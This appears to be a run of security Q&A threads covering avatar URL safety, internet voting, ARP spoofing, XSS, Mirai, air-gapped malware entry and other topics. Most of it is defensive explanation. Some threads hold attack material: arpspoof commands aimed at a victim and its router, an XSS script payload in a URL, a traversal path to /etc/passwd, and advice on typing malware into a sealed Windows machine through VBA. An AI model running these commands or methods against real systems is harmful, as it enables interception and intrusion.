How do I securely embed an  tag using a user-given URL? If I hypothetically wanted to allow users to use an avatar from an arbitrary URL like this:

<img class="avatar" src="{user input}" />

There are many problems that I can think of:

There are data uris so potentially it's possible to create a self-contained PDF file; would this actually work inside a <img /> tag?
There's javascript: notation that works for <a /> elements
A server may respond with 401 unauthorized and request basic auth, user would be tempted to try his own user/password combination
A server may return a humungous image

And probably much more.

Is there any way to make it secure without actually downloading and serving that image?

Avoiding attacks on your site

You need to validate that the string you received is valid. Remember this principle: you must white-list acceptable strings rather than black-list unacceptable ones.

Ensure that the string is a syntactically-correct and escaped URL. Escaping the whole URL avoids it containing " or > which could break your site's syntax.
Ensure the URL is absolute, to help avoid directory traversal attacks. You'll also need to figure out how your web server handles symlinks accessible from within your /var/www folder, and how your server resolves absolute URLs with references to parent directories e.g. www.server.com/../../../etc/passwd.
Ensure the URL uses a known, supported protocol of which you understand the implications: http or https. ¹

Protecting users' privacy

There's a priori no point in checking what the file being pointed to actually is since it can be changed any time by the user who provided the link without you knowing. If that code triggers a bug in the browser's rendering routine, then the (sandboxed) browser process that renders your site will be compromised.

You should be aware that images can be used to collect the IP addresses of your own users. Attackers just need to wait and collect which IP addresses query the image they used for your site.

The 401 attack should be fixed by now, but some browsers might still not handle it properly. It's been discussed on this StackExchange thread. As per this Chrome bug tracker thread, Chrome no longer displays an auth prompt when an image triggers a 401 error.

There's a common solution to these two threats: download and cache the image. If you can afford to do that, you'll have a higher certainty of users being safe. I know that's not what you're asking for but it's your best course of action.

Avoiding attacks on your server!

Since you're now caching the image, you need to white-list it once again.

Make sure the image corresponds to one of your supported file formats (e.g. PNG/SVG/JPG/GIF)
Make sure the image is syntactically correct
Reconstitute the images by extracting whatever information is relevant to displaying them and by dumping whatever information you don't recognise or need -- for instance SVG files can allegedly embed JavaScript, which you might not want as it would be executed within your domain by the browser. ²
Impose reasonable limits on the resolution and file size of the image

¹ It's been pointed out that an attacker could do something such as file:///some/user/secret/on/their/local/machine. If you did not retrieve the file but just left the URL as is, this could cause the file to be loaded by the rendering process that renders your site. In conjunction with a second URL to an image that successfully exploits a bug in the render, an attacker could retrieve the content of this file.

² Note that SVG files are particularly dangerous, and that there are no available tools to filter them currently.


Secure Internet Polling In the United States, there has been a lot of talk about creating a secure polling system that would operate over the internet. I have also heard that Securing a poll over the Internet is impossible. The system would need to be secure enough that politicians could make policy decisions based on voter decisions and be (reasonable) certain that the results had not been bought, hacked, or filled with spam votes.

So my question to security experts is: Is it possible? And what is the best security setup that is currently available? (code, language, servers, everything you consider important.)

Voting in a polling booth definitely has advantages as you can enforce that a voter is isolated. That makes internet voting difficult, but not impossible. In general we want some of five properties:

Ballot Secrecy - That each voter's choices remain secret.
Integrity - That each voter's choice is included unmodified in the final tally.
Untrustworthy Platform - A voter's ballot should be reliable and accurately transmitted from their personal computer.
Coercion Resistance - A voter should be able to cast the ballot of their choice even if they are voting in an unsupervised environment (and an adversary may be standing over their shoulder).
DOS-Prevention - The system should prevent small-scale and large-scale (D)DOS attacks.

For in-person voting, we want (1) and (2). For internet voting, we want (1) and (2) plus (3), (4), & (5).

Ballot Secrecy

Most current voting systems only achieve (1) ballot secrecy. For polling place voting, once you leave, you do not have (2) integrity and if you are using a computer (DRE) to cast your ballot, you do not have (2) even if you observe the entire day. It is possible that they even mess up (1): for example, if voters arrive and are timestamped when registered, and then ballots are timestamped when cast, you can correlate votes to voters.

Ballot Secrecy & Integrity

End-to-end verifiable (E2E) systems allow you to achieve (1) and (2). E2E systems have been used for in-person voting in governmental elections: Scantegrity in a municipal election in Maryland. For internet voting, E2E systems that achieve (1) and (2) only (not 3,4,5) include Helios, which has been used in student elections.

These systems work by throwing a bunch of cryptography at the problem. A voter essentially encrypts their vote (either explicitly if using a computer as in Helios, or through some human computable operation if using a paper ballot, like revealing a hidden code in Scantegrity). It is possible to use encryption functions that do not completely lock down the message: for example, you could take some encrypted messages and add them together under encryption and then just decrypt the sum (see homomorphic encryption), or you can take a list of encrypted ballots and shuffle them up under encryption so that you can't determine which ballot corresponds to which voter (see mix networks). Each step of the tally can be proved to be done correctly with zero-knowledge proofs.

Since the votes are encrypted, they can be posted publicly without breaking ballot secrecy, and voters can check to see that their votes are included unmodified for the final tally.

Ballot Secrecy & Integrity & Untrustworthy Platform

Systems that solve these three problems have not been used in an election yet, however there are two elections on the horizon that will use them: Remotegrity in Maryland (alondside Scantegrity for in-person voting) and the system in Norway.

These systems use two tricks: two-channels with the assumption that either one is trustworthy, and a technique called code voting. Over one channel (e.g., mail), voters receive a list of candidates with a serial number and unique codes (3 alphanumeric characters) beside their names. Over another channel (e.g., internet via their computer) they vote by submitting the serial number and code for the candidate they want. Assuming the computer is compromised, it can see the code but does not know (a) which candidate is being voted for and (b) what the valid code is for the candidate it would like to switch the vote to (or any candidate for that matter). It can guess, which will likely lead to an invalid code or it could just not let the voter submit anything: both have the equivalent effect.

Each vote that is received is posted publicly. Since only the person with the card knows which code belongs to which candidate, no one else knows how anyone voted. Voters can check the list to make sure their vote made it (and then there is some additional steps they can use to lock in their ballots).

Instead of assuming the codes are delivered by mail (which the malicious computer can't read), they could come through the computer but in the form of a CAPTCHA or something the computer can't read. One way of doing this is SpeakUp.

In any case, if someone showed their card to an attacker or the attacker was physically present with the voter, they could be coerced. This leads to...

Ballot Secrecy & Integrity & Coercion-Resistance

There are two approaches to addressing the coercion-resistance problem. One is to let voters cast as many ballot as they want, so they can overwrite previous ballots. It is possible to use cryptography to have hidden tags that can link votes from the same voter together, so that only one is kept. The problem with this approach is that an attacker just needs to wait until the end of the voting period (5 min before the polls close) to coerce a voter.

The second approach is to have real ballots and fake ballots. Voters who are being coerced or selling votes can use/sell a fake ballot, and the attacker cannot tell them apart. The tricky bit is to make sure only real ballots are counted and fake ballots are discarded without revealing if a voter submitted a real or fake ballot. Like above, we can solve this by throwing lots of crypto at the problem.

Systems like this are research-level only. None has been used or even planned to be used.

One way of doing this is called Selections. In Selections, voters use a panic password system. To vote, they submit a password. If they use their real password, the crypto ensures the vote is cast. If they use one of a large set of panic passwords, the crypto ensures the vote is discarded. The casting/discarding can be verified to have been done correctly for the set of all votes (not for each individual vote as that would defeat the purpose).

Therefore voters can just make up a panic password (it is easy to do in your head) on the spot if someone coerces them or offers to buy their vote. Later (or maybe they have already) they can cast their real ballot with their real password. No one can link the two together.

Aside: (D)DOS

This is considered a problem that is not completely solvable. An infected computer can always deny a voter from casting their ballot: what the untrustworthy platform property allows is for you to detect this, not prevent it. The DOS attack could also happen at the network level, taking down the server(s) receiving the votes. The integrity property can detect if any ballots are deleted or modified, but cannot prevent this.

The only solution is to use standard approaches for any web-service.

Ballot Secrecy & Integrity & Untrustworthy Platform & Coercion-Resistance

If we set aside the (D)DOS issue, this is the best system that we can achieve. To my knowledge, designing such a system is an open problem. It is non-trivial to compose the solutions for the untrustworthy platform issue with the coercion-resistance issue.

Disclosure

Scantegrity, Remotegrity and Selections are all systems I have worked on.


Can a 32-bit hash be made into a 64-bit hash by calling it twice with different seed? If I have a hash function that generates a 32 bit result with a good distribution (say murmur3):

var h32 = hash32(str, seed);  // returns a 32bit hex string (8 chars): '0123abcd'

it will still generate collisions with a probability of 50% when I have 77163 samples.

Can I create a 64 bit hash with equally good distribution by simply concatenating the result strings of two calls with different seed?

For example

h64 = hash32(str, seed1) + hash32(str, seed2);  // '0123abcd8d4f614a'

or by modifying the input slightly on the second call

h64 = hash32(str) + hash32(str + 'x');  // '0123abcd8d4f614a'

Or put it another way:

If hash32('foo') == hash32('bar'), can I assume that hash32('foo'+'x') == hash32('bar'+'x') is completely independent / unlikely?

UPDATE: thinking about it, this will probably not work if the hash algorithm works incrementally character-by-character, so this will not help either:

h64 = hash32(str) + hash32(str + str);

So I rather ask for a way to 'build a 64-bit hash if only a 32-bit hash function is available.'

UPDATE 2
I am aware that no one would use 32-bit in a crypto context. My question is about doubling the length, when I only have a method that returns a given length. And doing it in a way that improves collision behavior as one would expect from a native 64-bit method (or at least similar).
So this is a general question (replace '32' with any number if you like).
It has a real background though: I use JavaScript, which not easily supports 64-bit math and I already have a performant, small hash32() implementation using murmur 3.
The question would probably be better suited on StackOverflow, but the accepted answer hits the spot.

In terms of managing the collision probability

h64 = hash32(str) + hash32(str ^ hash32(str));

where + denotes concatenation and ^ denotes bitwise XOR would not be bad, since if hash32 is a good hash, its input and output should behave as if they are statistically independent.

There is no implication that the hash is strong for information security purposes, with this bitsize it is extremely weak.


IDS over HTTPS connection I am designing an anomaly-based intrusion detection system in java. It basically consists of a sniffer that identifies HTTP header fields and then analyze them according to a previous configured XML file.

My question is: what if my system uses HTTPS? how can I read HTTPS header fields if they are all encrypted?

Edit: just so I preempt comments along the lines you know nothing about how IPS works, I will stipulate that, and instead direct my answer towards the general method of inspecting HTTPS traffic.

The short is answer is you can't.

The long answer is you would have to perform MITM attacks against the connections. This can be done in cases when you only have serverside authenticated HTTPS connections if you can force all your clients to trust a certificate that is under your control. It's often used but in my opinion it is a bad security practice since usually whatever certificate you use, will have lower guarantees of safety then the ones usually trusted by browsers and users. Even if it doesn't you are adding a new point of attack.

If you do have to use the MITM attack make sure you at least check that the certificates you are getting (from the servers) are correct, applicable for the serversm trusted and not on CRL's.

One other by-product of this approach is you are most probably teaching your users questionable security practices since they will be willing to trust obviously faked certificates for servers they communicate with. Then when they go to a hotel and see the same issue they might just assume that they are doing the same thing and happily divulge all company secrets over insecure connections.


How do I verify that my FDE/SED Opal SSD is indeed encrypted ... preferably without having to remove the drive from the laptop?

I'd like to explicitly test that data is indeed encrypted at rest on my SSD but can't think of a way; eg: even if boot my laptop off a Linux USB key without entering the hard disk password, I just won't see the drive.  Can someone recommend a fool-proof test?

Background: I have a new laptop (ThinkPad X1 Carbon gen 5), which is supposed to come with an Opal SSD.  My understanding - based on some rather terse manufacturer documentation - is that an Opal SSD encrypts at all times (it's supposedly not possible to switch it off) and that to prevent unauthorized access, I should set a "Hard Disk1 Password".

One of the issues I have is that the SSD manufacturer (Samsung) doesn't even bother providing any information on the Opal capability of the drive so for all I know, it could perfectly well store everything in plaintext.

You cannot independently verify the encryption function of OPAL drives because:

the encryption and password-derivation happens transparently: you either have a password-protected
disk which doesn't allow read requests or you can R/W freely after unlocking with the right password. Everything happens inside the disk. Even the BIOS/SATA controller hasn't got access to the encrypted datastream, password hashes, master keys etc. etc.

the firmware which handles password storage, key derivation and cipher setup is top secret

the manufacturers do not publish technical details or whitepapers on their implementations for reasons unknown

Software full-disk encryption (VeraCrypt, BitLocker) is fast, proven and trusted and the only mitigation for the truly paranoid.


How does someone know i clicked a link in an email? URL spoofing? JSON? How do hackers/scammers know that I clicked a link? Why is my personal info in the url redirect link? Is this info then being stored in a database and the hacker/scammer knows that because this specific link was clicked it must have been me?

I received a dodgy email with a link and was curious. So I activated my VPN and checked the link first on VirusTotal and dr web. I found out that the link redirected several times to different websites.

I have changed the link numbers and letters but the domain is how I received it as you see below.

The original link sent to me looked like:

http://gallery.divinerosestore.com/SOME_LETTERS_AND_NUMBERS

What freaked me out was that the second redirect url contained my email address in the url link. It was in a weird format separated by commas (,) the link below is not real but is in a format as such:

hdating.us/?s=77auyfdgaukgfdsukg&ed=icl&i=admin77,83907,MY_EMAIL_ADDRESS@service.com,&ts=489234987459

How I imagine this works is that this information of my email address is being passed on to user "admin77" stored in his database/textfile whatever and he knows that I have clicked his link and he now knows I am susceptible to clicking links and a future target?

I would like to inform myself more about cybersecurity and find out more about the details.

Remember that crime is now commoditised and supported by a large framework of services. Any single email you receive might be part of a dozen different criminal services.

So, what is happening exactly here is not going to be known without access to the services used. We can only speculate.

The first hop is the easiest to guess. SOME_LETTERS_AND_NUMBERS is likely some sort of a UUID that is an index to the email campaign, the service, your email, the date, and any other metadata useful to the phishing service. The relevant metadata is passed on to another service. By using the link, you register with the service that you interacted with it, even if you did not click it from your email client or computer.

That what the admin77 could reference. This could be the username of the customer of the phishing service or the link processing service. Or anything else, really.

Why embed all this stuff in a URL? Ease and convenience. No need to use POST data or API calls, when you can just use URL parameters.


Does the Content Security Policy header provide a false sense of security if a page is served over unencrypted HTTP? I have been thinking about how a developer restricted (for whatever reason) to serving an unencrypted site might protect themselves from threats such as overzealous ISPs injecting ads or notifications into their pages, or script kiddies in a coffee shop turning the developer's normally harmless code into an ad hoc attack site. My first thought was the Content Security Policy header, but I am now unsure.

It is my understanding that unencrypted http traffic, including the headers, can be modified by a malicious third party performing a man-in-the-middle attack.

If this is the case, then the Content Security Policy header would be vulnerable to modification or deletion. The attacker could then insert, and have the browser execute, whatever they wanted.

Does it then give the developer a false sense of security in being able to include a CSP on an unencrypted page without some sort of warning in the browser console about MiTM, or are the good reasons for including it enough to outweigh this?

Does it then give the developer a false sense of security ....

You understanding of the issue is correct. But if this gives the developer a false sense of security depends on the knowledge of the developer.

A properly educated developer should know that with a successful MITM attack everything can be changed in the traffic. This is not only restricted to modifying the CSP or for ad injection but in fact the whole contents and code on the page can be replaced with something completely different. That is instead of nice fluffy kittens it could serve some ugly malware.


Validating correctness amongst untrusted answers I'm toying around a distributed computing project. The client application asks for a problem to solve.  The server returns a problem description from a "problems pool".  When the client finishes, it sends back the solution.

I cannot trust my users, and so I cannot trust their solutions.  I need somehow to validate their solutions are correct (for some definition of "correct"). Anyone could send a wrong solution to the problem they are assigned. I want to validate two things:

No one can post a solution for a problem that I have not give them. I think this one is easy: I give a them an HMAC of the problem ID plus my secret, and check that they send the same tokens with the solution.
I want to check that the user's solution is correct.  I want to do this check without solving the problem by myself. And more important, I don't want the solution to be problem-specific, so I cannot use some property of the problems, which could work for NP-(Complete/Hard) problems, for instance.

Suppose, for the sake of the discussion, I want to compute the digits of PI. So how can I be sure that some user's response for the nth digit of PI is correct? Should I give the same problem to several users and cross validate? How is this problem handled in projects like SETI@home and others?

Distributed.net solved this by assigning the same search space to multiple users, and validated them that way. (They are probably still doing it.)

Depending on computation cost and participation levels, you might wish to double check only a fraction of packets. Comparing 5% should give you a statistically valid chance of catching a cheater. Be sure to randomly distribute the duplicate challenge blocks around, so that you don't only have User A validating User B's packets. Don't identify the test blocks in any way, such as sending a different size or range, or a cheater may tamper with them. And finally, know that one positive result does not indicate a malicious cheater. It could be a hardware or software problem. You need to see a pattern of abuse before you pull the plug on someone.

EDIT:

Here's a link to distributed.net's Operational Code Authentication document.  It describes the security mechanisms by which they handle validating work work distributed to untrustable clients.  Of particular interest are some of the other security problems they've identified, such as "solution stealing", where a malefactor distributes a modified client to someone else.  The modified client suppresses the "winning results" signal, and instead sends the results to the attacker, who unfairly claims and collects the reward for the find.


WiFi security using IEEE 802.1X - how secure is it? My company's set-up involves a single AP (TPlink) that is configured to authenticate clients using RADIUS. All works well, but: on a regular WPA/WPA2 network, once you have the PSK, you are able to decode all the traffic other users generate. On an IEEE 802.1X - WPA2, according to this, a key is generated for each user separately, so, at least in theory, it should not be possible to decode traffic of another client station using a different set of credentials. However, I have read a few posts on various forums claiming that this is not the case, and that in fact, once you are authenticated using any user/password pair, you can decode all traffic. Can someone clarify this for me? Can someone elaborate?

802.1X is NOT an encryption type. It is basically just a per-user (e.g. username and password) authentication mechanism.

WPA2 is a security scheme that specifies two main aspects of your wireless security:

Authentication: Your choice of PSK ("Personal") or 802.1X ("Enterprise").
Encryption: Always AES-CCMP.

If you're using WPA2 security on your network, you have two authentication choices: You either have to use a single password for the whole network that everyone knows (this is called a Pre-Shared Key or PSK), or you use 802.1X to force each user to use his own unique login credentials (e.g. username and password).

Regardless of which authentication type you've set up your network to use, WPA2 always uses a scheme called AES-CCMP to encrypt your data over the air for the sake of confidentiality, and to thwart various other kinds of attacks.[Ref]

So when the system use AES-CCMP, which user with which username/password has the key of the AES encryption?

It means after that each user is authenticated, the system encrypts all traffic with temporal 128-bit key and AES.

WPA is an 802.11i-based security solution from the Wi-Fi Alliance that addresses the vulnerabilities of WEP. WPA uses Temporal Key Integrity Protocol (TKIP) for encryption and dynamic encryption key generation by using either a pre-shared key, or RADIUS/802.1x-based authentication. The mechanisms introduced into WPA were designed to address the weakness of the WEP solution without requiring hardware upgrades. WPA2 is the next generation of Wi-Fi security and is also based on the 802.11i standard. It is the approved Wi-Fi Alliance interoperable implementation of the ratified IEEE 802.11i standard. WPA 2 offers two classes of certification: Enterprise and Personal. Enterprise requires support for RADIUS/802.1x-based authentication and pre-shared key (Personal) requires only a common key shared by the client and the AP.

the key exchange will be done by using PMK(Pairwise Master Key) and EAP-TLS

Key Management for Link Layer Security Key Management for Link Layer Securit

Cisco Unified Wireless Network Architecture—Base Security Features


Should OS information be in DNS? We are having an internal discussion about system naming conventions and there is a disagreement about including the type of OS a system is running in the DNS host record. One suggestion was to include 'win', 'mac', or 'lin' in the A record field for easy identification. Since this gives would-be hackers easy information about a system that they would otherwise have to work for, some people are uncomfortable with this.

Is there any general consensus on this issue? Has NIST (or any other authority) weighed in with an answer? Thanks in advance.

The naming conventions of computers has long been a divisive topic and often the security of a network needs to be put up against the manageability of an environment. I have worked in environments where the server names dictated exactly what that server did, and I've worked in networks with weird naming conventions that did nothing else than tickle the SysAdmin's fancy.

As a Penetration Tester I will tell you that there are a number of trivial ways for me to glean what Operating System a computer is.

Nmap does a very effective job of "guessing" what OS a computer is. Try for yourself nmap -A <IP ADDRESS>
The MAC address of a computer can be a giveaway in the example of Mac's
The services running on a machine can provide you with a good clue as to what OS the system is running (Banner grabbing)
If you can get a user on that system to navigate to a website with a BeEF hook embedded or other mechanism to enumerate the machine then you'll easily identify the OS running.

Typically speaking, the Operating System itself isn't of too much interest to me. I'm more concerned as to what the patch level is like of a specific machine, what services are running on it that might be vulnerable, etc. I personally don't think that putting the operating system in an A name is a security risk in and of itself and I know plenty of organizations that utilize a similar naming convention.


Problem with ARP-Spoofing first of all i have a basic questions regarding network traffic:

All Devices in the network are connected with WLAN and a Router. If i send a message from my computer to a other device in the network per IP my computer looks in the arp table for the mac adress of that ip. If not found send arp broadcast looking for that ip. If found, form a packet with destination mac from the target device(NOT the mac from the router) and send it. The Router receives this packet and (now acting as a layer 2 switch) looks in his mac adress table (sat) for this target mac and send it there.

Is this correct?

Now to my Problem with arpspoofing. Three Devices are involved:

Attacker running Kali: x.x.x.105 (34:F3:xx:xx:xx:xx)
Target running Win10: x.x.x.107 (80:56:xx:xx:xx:xx)
Router: x.x.x.1 (44:6e:xx:xx:xx:xx)

Attacker has IP Forwarding enabled.

I now started two instances of arpspoof:

arpspoof -i wlan0 -t x.x.x.107 x.x.x.1

arpspoof -i wlan0 -t x.x.x.1 x.x.x.107

At the attackers Wireshark i can see all outgoing arp replies. They also say multiple IP usage detected! Arp Table cleared after arpspoof started. Spoof is running for nearly an hour.

However at my targets Wireshark i can't see incoming arp messages from attacker.

The arp table at windows does not change. Also my Router don't seem to update it's arp table.

I can't find the Problem here. Is Win10 blocking arp replies not requested?

This is for education purposes only. Thank you

There are some better explanations here, below is an educated guess : ARP poisoning between a wired and wireless network

The spoof should work almost immediately if it is working properly. New devices will see the gratuitous arp from the attacker and automatically update their cache. A victim will not detect duplicate IP, they should just update the mapping. The problem is likely at the router.

Arpspoof works through a switch because the switch has no way of knowing which port the legitimate IP address/MAC mapping is, so without any form of port security/DHCP snooping/Dynamic arp inspection, it has to trust that a device is who it says it is when it claims "192.168.1.1 is at aa:bb:cc:dd:ee:aa" in its arp reply/gratuitous arp.

I'm not sure about wireless networks but it seems to me that a router, even if it is operating at layer 2, switching traffic within the network, would likely analyze arp packets, just like a switch does, so that it could also update its own arp table. It may be dropping these gratuitous arps from the attacker because its plain for it to see that they are not legitimate, because they are using its address and advertising a different mac than its own.


Is it worth it to fuzz Rust-written software? If a program is written in C, then it is worth it to fuzz it with something like afl since it might have memory-related bugs. But how about software written in Rust? Would a fuzzer still find bugs? Or are there no memory related bugs that could be found by a fuzzer?

Rust can't have direct memory issues. That being said, it can have indirect memory issues caused by external libraries.

Much more importantly, fuzzing can expose other types of bugs as well, so it is definitely useful to fuzz the program. Whether it is worth the setup time depends on your use case, but in most cases, it should be.


Sealed Room Security - Possibility of writing assembled binary code Assume the existence of a sealed room, containing a network with a single terminal. You are not allowed to bring in any electronic material into the room. The target machine is running default installation of windows 7 and only has MSOffice installed on of the operating system. The objective is to infect the network with a malware.

Since no electronics are allowed to be brought in, a potential solution was to print out a malware executable in any form, binary or assembly onto a piece of paper. This paper is then allowed to be brought in as it is not electronic in nature. The program would then be transcribed onto the target machine, saved as an executable then executed.

The question is whether this is possible without any additional installations as the network and terminal in question have no other means of input other than through keyboard and mouse.

The objective of this question is to check the existence of any means of code execution by means of a human medium, through purely the keyboard. Security have always been on the subject of preventing portable media to be connected to a secure system to prevent infection. What if the person were to write a malware on the target machine itself? Would it be possible with just the default installation of Windows?

The objective is arbitrary code execution. Not CMD fork bombs.

Means that has been explored:

debug.exe doesnt ship with windows 7 and therefore we cant type assembly and run against that.
Using notepad doesnt work as there are null characters on the ASCII table that the keyboard cannot input. This means that we cant write binary in ASCII and save it as a .COM or .EXE
Even if you are able to, tested by copy pasting an executable opened in notepad to another file, the new file would still not run.

If MSOffice is a full installation including the macro subsystem, this should be simple. The macro language is also called Visual Basic for Application and is very close to a VB development environment. You now have two options:

if you have prepared your malware as a VBA script, just type and execute it.
if you have the hexadecimal dump of your malware executable, it should not be too hard to write a piece of VBA code that translates back hexa values in raw bytes.

A vanilla Windows installation comes with very few tools, few of them allowing to deal with binary data. The only one I can think of is Power Shell. Unfortunately, I am not proficient at it, and cannot know whether it is possible/easy to translate hexadecimal to bytes.


Webauthn configuration differences in Firefox I'm trying to understand what the different configuration elements mean in Mozilla Firefox. There was an announcement recently from Dropbox that they had enabled support for WebAuthn. I tried logging in-to DropBox using my U2F key that I'd registered through Chrome and it worked.

When I tried logging into Gitlab, however, it did not work. I had to explicitly enable security.webauth.u2f. So what's the difference in Firefox between these config elements?

security.webauth.u2f,security.webauth.webauthn_enable_usbtoken, and security.webauth.webauthn_enable_softtoken

My current assumption is that security.webauth.* is an implementation of Firefox's own authentication technology and security.webauth.webauthn.* is the implementation of W3C's Web Authentication Standard which also supports U2F. Is this assumption right?

Also, what's the difference between a usbtoken and a softtoken?

As far as I understand it (with help from agl's blog post):

security.webauth.u2f controls the original FIDO U2F API introduced by Chrome.
security.webauth.webauthn controls the now-standard W3C WebAuthentication API.

They both let you talk to existing U2F (CTAP1) devices, but using different JavaScript functions. Webpages written for Chrome's "extension" API won't automagically know how to use WebAuthn, and vice versa.

That's the whole idea behind Dropbox's blog post: they had U2F key support for a long time already, but at first it only supported Chrome's API. Now it knows both APIs and detects which is available.

And for the devices themselves:

security.webauth.webauthn_enable_usbtoken controls access to real U2F keys via USB HID.
security.webauth.webauthn_enable_softtoken makes the browser emulate a U2F device, for development purposes (and probably without any security guarantees).


How does Mirai infect IoT? Since every IoT device uses different operating system, and has different hardware architecture, with so many possible platforms, how does Mirai infect them?

Actually, the Mirai virus was looking for a specific vulnerability present in the Linux operating system.

The Mirai virus targeted Linux devices running telnet via busybox. If busybox is not installed on the Linux device, the exploit fails as Mirai uses busybox specific commands. If busybox is confirmed to exists, Mirai then performs a bruteforce attack on specific ports numbers that are running telnet. How is this bruteforce attack being conducted? It is simply using a dictionary of the most common default username and password combinations. Once inside the system, Mirai looks for other target machines to infect. Here is a list of the Mirai's dictionary.

Unfortunately, many owners of IoT devices connect their devices to the Internet and never bothered to change the default login credentials. Here is a list of devices targeted by Mirai.  More information can be found on the Mirai virus here.


Why is unsanitized output from ajax request bad? I know what I just described is a reflected XSS vulnerability. What I can't figure out is why it is a vulnerability. Because the way I see it, a user can't be directed to the attacker's content because the AJAX is executed without a page refresh or a URL change. What am I missing here?

-- EDIT --

To edit the question and provide a little more context, I'm trying to figure out how echoing un-sanitized data from AJAX into the page would be a bad thing. Because here is how I see XSS vulnerabilities:

JavaScript from an uncontrolled source (ie attacker) is allowed to insert JavaScript into the page.
The user is navigated to the said page with the evil JavaScript embedded in the page.
Exploit happens (cookies are stolen, user logins over an attacker made login screen, etc...)

I can't see how this is a problem with AJAX. Because the request is made in the page and you (as the attacker) can't direct a user to a page where part of the content was loaded with AJAX.
Or, in other words, you can't perform a search query on a search engine that uses AJAX to query a remote endpoint and display the results on the page, then direct a user to that page with those results shown. The results would disappear.

What am I missing here?

Your first point ("JavaScript from an uncontrolled source (ie attacker) is allowed to insert JavaScript into page.") is a wee bit off. If a page already contains JavaScript from an attacker, the attacker has already won.

A more accurate description of a reflected XSS attack is:

User is navigated to a page that accepts input from the user such that the user unwillingly supplies some of the input.
JavaScript from a controlled source (i.e., the web application developer) takes data from user input an inserts it into the page.
The user input from Step 1 is interpreted as JavaScript (cookies are stolen, etc.).

To provide an example of how your scenario might work, consider a web application that lets users bookmark search results by putting the search term into the query string:
https://my-custom-search-engine.tld/search?term=reflected%20xss

Upon loading the /search page, JavaScript on the page reads the query parameter term and makes an AJAX request. Upon receiving the response, JavaScript on the page reads the search term part of the response object and injects it into the page using a vulnerable method. (See the answer of @dandavis for jQuery's .html, or https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet#Example_Dangerous_HTML_Methods for some other dangerous methods.)

In this example, an attacker would have to trick a user into visiting https://my-custom-search-engine.tld/search?term=<script>alert(1)</script>.


Requirements for qualified certificates in DIRECTIVE 1999/93/EC DIRECTIVE 1999/93/EC at ANNEX I Requirements for qualified certificates states that one requirement for qualified certificates is

(a) an indication that the certificate is issued as a qualified certificate;

What is an example of this indication?

Could a qualified certificate fullfiling all the requirements in DIRECTIVE 1999/93/EC be provided? Maybe in PEM format?

An answer is provided for instance in ETSI TS 101 862 "Qualified Certificate profile":

  5.3 Qualified Certificate Indication

  The following two techniques can be utilized to declare that a certificate is issued as a Qualified Certificate:

  1) by identifying a certificate policy in the Certificate Policies extensions, as defined in clause 4.2.1.5 from
  RFC 3280 [3], clearly expressing that the issuer intentionally has issued the certificate as a Qualified
  Certificate and that the issuer claims compliance with annex I and annex II of the Directive [1]; or

  2) by including a Qualified Certificate Statements extension with an esi4-qcStatement-1 statement as defined in
  clause 5.2.1 of this profile.

Note that each Member State can interpret 1999/93/EC as they want, so the "qualified" quality of a certificate does not really mean much (for instance Diginotar used to deliver qualified certificates in the Netherlands). For some examples of qualified certificates used by the European Commission, see here


Don’t use a web browser on a server? After pulling up a Windows Server 2012 instance, I learned that google.com is riskier than I thought:

It does the same for microsoft.com. There are instructions to disable "Enhanced Security Configuration," but this article by Michael Pietroforte suggests the motivation for this is to all but remove IE from Windows Server, and his suggestion is:

Don’t use a web browser on a server.

Is this good advice? And if it is, how do I follow it and still install the various applications I need?

For context:

The server is a VM that I don't have easy physical access to.
In my instance, it's not public facing, but I'm interested if the answer changes in that situation.
I'm not a server admin. I'm a developer trying to set up a build agent. So maybe I'm missing some server admin common sense.

It is very good advice to not use the web browser for Internet traffic on the server.

It's our policy (I work in cyber security for a federal agency) to never use a web browser (for Internet, or external websites) for any sort of Internet traffic even if it's to download a file that will be used on the server.  As another user mentioned in their answer, it is a good idea to download any files or data needed on the server from a different computer; one that is trusted and is on the same network.  Then, take the file(s) and verify hashes if you want to go that far, and then copy it to the server either through the network (probably preferred since you don't have easy physical access to this VM) or using a USB drive or something of that sort.

Another thing that I'd recommend if you're able to, is to use the built-in Windows firewall or a trusted third-party firewall (host-based of course) and apply a template or policy to it that doesn't allow web traffic from the server.  As an example of this, we use a vendor for antivirus that has a built-in host-based firewall as part of the antivirus software.  We then create a firewall policy called "Servers" and apply it to all servers and on that policy we lock down all incoming and outgoing web (usually port 80) Internet traffic so that  the server cannot access the Internet even if we accidentally click on the web browser.

As far as uninstalling the browser altogether, I don't think that's a good idea.  There are many times when a web browser comes in handy for things like accessing another server that runs a web console or something of that nature that you'd need to use.  If you uninstall your web browser you'd have no way of accessing any of these other consoles.


How to safely store infected PDF file that I have created? I have two computers, computer A and computer B.

With computer B I created an infected PDF file using setoolkit following this youtube toturial. The file is on a VM right now.

On computer A I have a file scanner software that scan files and tells if they are infected or not. I want to test the scanner therefore by scanning the infected PDF that I have created,

I plan to send the infected file from computer B to my email and then to open the mail from computer A. Is it safe to store the infected file on computer A because I want to scan it?

In your case (pdf file) you can safely store that file wherever you want as long as it is not read by any program affected by the bug your pdf file explotes. If instead of a pdf file it is an executable one then you can also store it wherever you want as long as you (or any other automated mechanism) don't execute it.


PCI compliance with multiple AWS VPCs If I have VPC which is in-scope (the "PCI VPC") and another which is not (the "NON-PCI VPC"), would peering them bring the non-pci vpc in-scope? Is there a way to avoid this?

I have an aurora RDS inside the PCI VPC. It does not actually contain sensitive information, but is used by services which do. What is the best way to share this non-pci data with the non-pci VPC without inadvertently bringing that VPC into scope?

Options:

Peer the VPCs (protected with SGs based on CIDR)
Replicate the DB in the other VPC (it only needs read).
Access the RDS via external endpoint
...?

I don't think any of these options are quite right, but I'm hoping you will correct me or suggest a better option.

This is from the PCI-DSS guideline:

  In order for a system to be considered out of scope, controls must be
  in place to provide reasonable assurance that the out-of-scope system
  cannot be used to compromise an in-scope system component, as . the
  in-scope system could then be used to gain access to the CDE or impact
  security of the CDE. Examples of controls that could be applied to
  prevent out-of-scope systems from compromising a connected-to
  orsecurity-impacting system include:

  Host-based firewall and/or intrusion detection and prevention system    (IDS/IPS) on in-scope systems that block connection attempts
  from    out-of-scope systems.
  Physical access controls that allow only designated users to access    in-scope systems.
  Logical access controls that permit only designated users to login to    in-scope systems.
  Multi-factor authentication on in-scope systems.
  Restricting administrative access privileges to designated users and    systems/networks.
  Actively monitoring for suspicious network or system behavior that    could indicate an out-of-scope system attempting to gain access to an
  in-scope system component or the CDE.

